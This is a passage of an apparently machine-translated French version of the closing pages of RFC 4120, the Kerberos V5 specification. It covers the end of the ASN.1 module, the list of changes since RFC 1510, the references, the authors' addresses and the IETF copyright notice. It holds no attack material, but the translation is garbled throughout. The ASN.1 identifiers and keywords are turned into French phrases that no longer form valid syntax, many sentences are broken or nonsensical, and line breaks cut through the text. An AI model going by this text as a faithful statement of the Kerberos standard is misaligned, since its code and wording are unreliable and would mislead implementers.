AD-AND-OR :: = SEQUENCE {
nombre de conditions [0] Int32,
éléments [1] AuthorizationData
}

AD-MANDATORY-FOR-KDC :: = AuthorizationData

FIN

B. Changements depuis la RFC 1510

Ce document remplace la RFC 1510 et clarifie la spécification des

éléments
 qui n'ont pas été complètement spécifiés. Où changements à recommandé
des choix de mise en œuvre ont été faits, ou lorsque de nouvelles
options ont été ajoutées,
ces changements sont décrits dans le document et énumérés dans la
présente
section. De manière plus significative, "Spécification 2" dans la
section 8 change
les méthodes de chiffrement et de somme de contrôle requises pour les
mettre en ligne
avec les meilleures pratiques actuelles et de déconseiller les méthodes
qui ne sont pas
plus considéré comme suffisamment fort.

La discussion a été ajoutée à la section 1 concernant la capacité de

s’appuyer sur
le KDC pour vérifier le champ transité, et sur l'inclusion d'un drapeau
dans un ticket indiquant que cette vérification a eu lieu. C'est un
nouveau
non disponible dans la RFC 1510. Les implémentations préexistantes
peuvent
ignorer ou ne pas définir cet indicateur sans incidence négative sur la
sécurité.

La définition de la clé secrète indique que, dans le cas d’un

utilisateur, le
la clé peut être dérivée d'un mot de passe. Dans la RFC 1510, il était
dit que le
la clé a été dérivée du mot de passe. Ce changement a été apporté à
répondre aux situations où la clé d’utilisateur peut être stockée sur
carte à puce, ou obtenue d'une autre manière indépendamment d'un mot de
passe.

L’introduction mentionne l’utilisation de la cryptographie à clé

publique pour
authentification initiale dans Kerberos par référence. RFC 1510 n'a pas
inclure une telle référence.

La section 1.3 a été ajoutée pour expliquer que, même si Kerberos

fournit
l’authentification d’un mandant nommé, c’est toujours la responsabilité
de l’application pour s’assurer que le nom authentifié est le nom
entité avec laquelle l'application souhaite communiquer.

Une discussion sur l'extensibilité a été ajoutée à l'introduction.

Discussion sur la manière dont l'extensibilité affecte les indicateurs

de ticket et les options KDC
a été ajouté à l'introduction de la section 2. Aucune modification n'a
été apportée à
options et drapeaux existants spécifiés dans la RFC 1510, bien que
certains des

Neuman et al. Piste de normes [Page 131]

RFC 4120 Kerberos V5 juillet 2005

les sections du cahier des charges ont été renumérotées et le texte a

été révisé
 clarifier la description et l’intention des options existantes,
notamment en ce qui concerne l’option ENC-TKT-IN-SKEY (désormais section
2.9.2) utilisé pour l'authentification d'utilisateur à utilisateur. La
nouvelle option
et la vérification de la politique transitée par le drapeau de ticket
(section 2.7) a été ajoutée.

Un avertissement concernant la génération de clés de session pour une

application
a été ajouté à la section 3, demandant instamment l'inclusion de
l'entropie clé dans la
La clé de session générée par KDC dans le ticket. Un exemple
d'utilisation de
la clé de sous-session a été ajoutée à la section 3.2.6. Descriptions du
pa-etype-info, pa-etype-info2 et données de pré-authentification pa-pw-
salt
les articles ont été ajoutés. La recommandation d'utilisation de la pré-
authentification
a été changé de "PEUT" à "DEVRAIT" et une note a été ajoutée concernant
attaques en texte clair connues.

Dans la RFC 1510, la section 4 décrit la base de données dans le KDC. Ce

discussion n'était pas nécessaire pour l'interopérabilité et inutilement
implémentation contrainte. L'ancienne section 4 a été supprimée.

L’actuelle section 4 était l’ancienne section 6 sur le cryptage et la

spécifications de la somme de contrôle. La majeure partie de cette
section a été apportée
à jour pour prendre en charge de nouvelles méthodes de cryptage, et
déplacé vers un
document. Ces derniers aspects du chiffrement et de la somme de contrôle
Les spécifications spécifiques à Kerberos sont désormais spécifiées à la
section 4.

Des modifications importantes ont été apportées à la présentation de la

section 5 pour clarifier
le comportement correct pour les champs optionnels. Beaucoup de ces
changements ont été
rendue nécessaire en raison d'une description ASN.1 inappropriée dans
l'original
Spécification Kerberos qui a laissé le comportement correct
sous-spécifié. De plus, le libellé de cette section était le suivant:
resserré autant que possible pour que les implémentations conformes
à cette spécification sera extensible avec l'ajout de nouvelles
champs dans les spécifications futures.

Un texte a été ajouté décrivant les problèmes time_t = 0 dans l'ASN.1.

Le texte était
également ajouté, clarifiant les problèmes avec les implémentations
traitant omis
entiers optionnels valant zéro. Le texte a été ajouté clarifiant le
comportement de
SEQUENCE optionnel ou SEQUENCE OF pouvant être vide. La discussion était
ajouté en ce qui concerne les numéros de séquence et le comportement de
certains
implémentations, y compris le comportement "zéro" et les nombres
négatifs. UNE
Une note de compatibilité a été ajoutée concernant l'envoi
inconditionnel de
EncTGSRepPart quel que soit le type de réponse englobant. Des
changements mineurs
 ont été apportées à la description du type HostAddresses. Entier
les types ont été contraints. KerberosString a été défini comme un
(significativement) contraint GeneralString. KerberosFlags a été défini
pour refléter le comportement actuel de la mise en œuvre qui s'écarte de
la

Neuman et al. Piste de normes [Page 132]

RFC 4120 Kerberos V5 juillet 2005

définition dans RFC 1510. Le transited-policy-vérifié (12) et le

Des indicateurs de ticket ok-as-delegate (13) ont été ajoutés. Le
désactiver-transité-
check (26) L'option KDC a été ajoutée.

Des descriptions de PA-DATA communément mises en œuvre ont été ajoutées

à la section 5.
La description de KRB-SAFE a été mise à jour pour prendre en compte les
comportement d'implémentation du double encodage.

Il existe deux définitions de METHOD-DATA dans RFC 1510. La seconde

l'un, destiné à être utilisé avec KRB_AP_ERR_METHOD a été supprimé,
laissant le
SEQUENCE OF PA-DATA definition.

La section 7, relative aux contraintes de nommage, de la RFC 1510 a été

déplacée à la section 6.

Des mots ont été ajoutés pour décrire la convention selon laquelle le
domaine basé sur le domaine
les noms des domaines nouvellement créés doivent être spécifiés en
majuscules.
Cette recommandation ne rend pas les noms de domaine en minuscules
illégaux.
Des mots ont été ajoutés soulignant que les composants séparés par une
barre oblique
le style X.500 des noms de domaine est compatible avec la RFC 1510
existante
implémentations basées, mais qu'il est en conflit avec le général
recommandation de la représentation de nom X.500 spécifiée dans la RFC
2253.

Section 8, Transport réseau, constantes et valeurs définies, RFC

1510 a été déplacé à la section 7. Depuis la RFC 1510, la définition de
la
Le transport TCP pour les messages Kerberos a été ajouté, et le cryptage
et
Les assignations de numéros de contrôle ont été déplacées dans un
document séparé.

"Spécification 2" dans la section 8 du document actuel modifie le

méthodes de chiffrement et de somme de contrôle requises pour les mettre
en conformité avec
les meilleures pratiques actuelles et à déconseiller les méthodes qui ne
sont pas
plus considéré comme suffisamment fort.
 Deux nouvelles sections sur les considérations IANA et de sécurité
ont été ajoutés.

Le pseudo-code a été supprimé de l'annexe. Le pseudo-code

parfois été mal interprétée pour limiter les choix de mise en œuvre et
RFC 1510, cela n’a pas toujours été cohérent avec les mots du
spécification. Des efforts ont été déployés pour lever les ambiguïtés de
la
spécification, plutôt que de compter sur le pseudo-code.

Une annexe contenant l'intégralité du module ASN.1, tirée de

la discussion à la section 5 du document actuel.

FIN NOTES

(* TM) Project Athena, Athena et Kerberos sont des marques commerciales

de
Institut de technologie du Massachusetts (MIT).

Neuman et al. Piste de normes [Page 133]

RFC 4120 Kerberos V5 juillet 2005

Références normatives

[RFC3961] Raeburn, K., "Encryption and Checksum

Spécifications de Kerberos 5 ", RFC 3961, février
2005.

[RFC3962] Raeburn, K., "AES (Advanced Encryption Standard)"

Cryptage pour Kerberos 5 ", RFC 3962, février
2005.

[ISO-646 / ECMA-6] Organisation internationale de normalisation,

"Jeu de caractères codés 7 bits pour information
Échange ", ISO / CEI 646: 1991.

[ISO-2022 / ECMA-35] Organisation internationale de normalisation,

"Structure et extension du code de caractère
techniques ", ISO / IEC 2022: 1994.

[RFC1035] Mockapetris, P., "Noms de domaine - mise en oeuvre

et spécification ", STD 13, RFC 1035, novembre
1987.

[RFC2119] Bradner, S., "Mots clés à utiliser dans les RFC pour
Indiquer les niveaux de besoin ", BCP 14, RFC 2119,
Mars 1997.

[RFC2434] Narten, T. et H. Alvestrand, "Guidelines for

Rédaction d’une section sur les considérations IANA
dans les RFC ",
BCP 26, RFC 2434, octobre 1998.

[RFC2782] Gulbrandsen, A., Vixie, P. et L. Esibov, "A DNS

RR pour spécifier l’emplacement des services (DNS
SRV) ", RFC 2782, février 2000.
 [RFC2253] Wahl, M., Kille, S. et T. Howes, "Lightweight
Directory Access Protocol (v3): Chaîne UTF-8
Représentation des noms distinctifs ", RFC 2253,
Décembre 1997.

[RFC3513] Hinden, R. et S. Deering, "Internet Protocol

Version 6 (IPv6) Addressing Architecture ", RFC
3513, avril 2003.

[X680] Notation de syntaxe abstraite numéro un (ASN.1):

Spécification de la notation de base, UIT-T
Recommandation X.680 (1997) | ISO / CEI
Norme internationale 8824-1: 1998.

Neuman et al. Piste de normes [Page 134]

RFC 4120 Kerberos V5 juillet 2005

[X690] Règles de codage ASN.1: spécification de base

Règles de codage (BER), règles de codage canoniques
(CER) et règles de codage distinguées (DER),
Recommandation UIT-T X.690 (1997) | ISO / CEI
Norme internationale 8825-1: 1998.

Références informatives

[ISO-8859] Organisation internationale de normalisation,

"Jeux de caractères graphiques codés sur un octet 8
bits -
Alphabet latin ", ISO / CEI 8859.

[RFC1964] Linn, J., "GSS-API Kerberos version 5

Mécanisme ", RFC 1964, juin 1996.

[DGT96] Don Davis, Daniel Geer et Theodore Ts'o,

"Kerberos Avec Horloges Adrift: Histoire, Protocoles,
et mise en oeuvre ", USENIX Computing Systems 9: 1,
Janvier 1996.

[DS81] Dorothy E. Denning et Giovanni Maria Sacco,

"Horodatage dans les protocoles de distribution de
clé,"
Communications de l'ACM, Vol. 24 (8), p. 533-
536, août 1981.

[KNT94] John T. Kohl, B. Clifford Neuman et Theodore Y.

Ts'o, "L'évolution du Kerberos
Système d'authentification ". En mode ouvert
distribué
Systèmes, pages 78-94. IEEE Computer Society Press,
1994.

[MNSS87] SP Miller, BC Neuman, JI Schiller et J.

H. Saltzer, Section E.2.1: Authentification Kerberos
et système d'autorisation, projet Athena du MIT,
Cambridge, Massachusetts, le 21 décembre 1987.
 [NS78] Roger M. Needham et Michael D. Schroeder, "Using
Cryptage pour l’authentification dans les grands
réseaux de
Computers, "Communications of the ACM, Vol. 21
(12), pages 993-999, décembre 1978.

[Neu93] B. Clifford Neuman, "Autorisation par procuration et

Comptabilisation des systèmes distribués ", dans
Actes de la 13ème conférence internationale
sur les systèmes d’informatique distribuée,
Pittsburgh, PA,
Mai 1993.

Neuman et al. Piste de normes [Page 135]

RFC 4120 Kerberos V5 juillet 2005

[NT94] B. Clifford Neuman et Theodore Y. Ts'o, "Un

Service d'authentification pour les réseaux
informatiques, "
IEEE Communications Magazine, Vol. 32 (9), p. 33-
38, septembre 1994.

[Pat92] J. Pato, Utiliser la pré-authentification pour éviter

Attaques de devinette de mot de passe, logiciel
ouvert
Fondation DCE Appel à commentaires 26 (Décembre
1992.

[RFC1510] Kohl, J. et C. Neuman, "Le réseau Kerberos

Authentication Service (V5) ", RFC 1510, septembre
1993.

[RFC4086] Eastlake, D., 3e, Schiller, J. et S. Crocker,

"Exigences aléatoires pour la sécurité", BCP 106,
RFC 4086, juin 2005.

[SNS88] JG Steiner, BC Neuman, et JI Schiller,

"Kerberos: un service d'authentification pour Open
Network Systems ", p. 191-202, Conférence Usenix
Actes, Dallas, Texas, février 1988.

[RFC4121] Zhu, L., K. Jaganathan et S. Hartman, "The

Service de sécurité générique Kerberos version 5
Mécanisme d'interface de programme d'application
(GSS-API):
Version 2 ", RFC 4121, juillet 2005.
Neuman et al. Norme Track [Page 136]

RFC 4120 Kerberos V5 juillet 2005

Adresse des auteurs

Clifford Neuman
Institut des sciences de l'information
Université de Californie du Sud
4676 voie de l'amirauté
Marina del Rey, CA 90292, Etats-Unis

Courriel: bcn@isi.edu

Tom Yu
Massachusetts Institute of Technology
77 Massachusetts Avenue
Cambridge, MA 02139, USA

Courriel: tlyu@mit.edu

Sam Hartman
Massachusetts Institute of Technology
77 Massachusetts Avenue
Cambridge, MA 02139, USA

Courriel: hartmans-ietf@mit.edu

Kenneth Raeburn
Massachusetts Institute of Technology
77 Massachusetts Avenue
Cambridge, MA 02139, USA

Courriel: raeburn@mit.edu
Neuman et al. Standards Track [Page 137]

RFC 4120 Kerberos V5 juillet 2005

Déclaration complète du droit d'auteur

Droit d'auteur (C) The Internet Society (2005).

Ce document est soumis aux droits, licences et restrictions

contenues dans le BCP 78, et sauf indication contraire dans celle-ci,
les auteurs
conserver tous leurs droits.

Ce document et les informations qu’il contient sont fournis à titre

indicatif.
"TEL QUEL" et LE CONTRIBUTEUR, L'ORGANISATION QUI / ELLE REPRÉSENTE
OU EST PARRAINÉ PAR (LE CAS ÉCHÉANT), LA SOCIÉTÉ DE L’INTERNET ET
L’INTERNET
LE GROUPE DE TRAVAIL SUR L’INGÉNIERIE REJETTE TOUTES LES GARANTIES,
EXPLICITES OU IMPLICITES,
Y COMPRIS, MAIS SANS S'Y LIMITER, TOUTE GARANTIE QUE L'UTILISATION DU
LES INFORMATIONS FIGURANT DANS CE DOCUMENT NE VIOLERONT AUCUN DROIT NI
IMPLICITE
GARANTIES DE QUALITÉ MARCHANDE OU D’ADÉQUATION À UN USAGE PARTICULIER.

Propriété intellectuelle

L’IETF ne prend pas position quant à la validité ou à la portée de

quelque
Droits de propriété intellectuelle ou autres droits pouvant être
revendiqués
concernent la mise en œuvre ou l’utilisation de la technologie décrite
dans
ce document ou la mesure dans laquelle une licence en vertu de ces
droits
pourrait ou pourrait ne pas être disponible; cela ne signifie pas non
plus qu'il a
fait aucun effort indépendant pour identifier de tels droits.
Information
sur les procédures relatives aux droits sur les documents RFC peuvent
être
trouvé dans BCP 78 et BCP 79.

Des copies des divulgations de DPI faites au secrétariat de l’IETF et

toute
l’assurance des licences à mettre à disposition, ou le résultat d’une
tentative faite pour obtenir une licence générale ou une autorisation
d'utilisation de
 de tels droits de propriété par les développeurs ou les utilisateurs de
la présente
spécification peut être obtenue à partir du référentiel en ligne IPR de
l’IETF à
http://www.ietf.org/ipr.

L’IETF invite toute partie intéressée à porter à son attention tout

problème
droits d’auteur, brevets ou demandes de brevets, ou autres droits de
propriété
droits pouvant couvrir les technologies pouvant être nécessaires à la
mise en œuvre
cette norme. Veuillez adresser ces informations à l'IETF à l'adresse
suivante:
ipr@ietf.org.

Reconnaissance

Le financement de la fonction Editeur RFC est actuellement fourni par le

Société Internet.

Neuman et al. Norme Track [Page 138]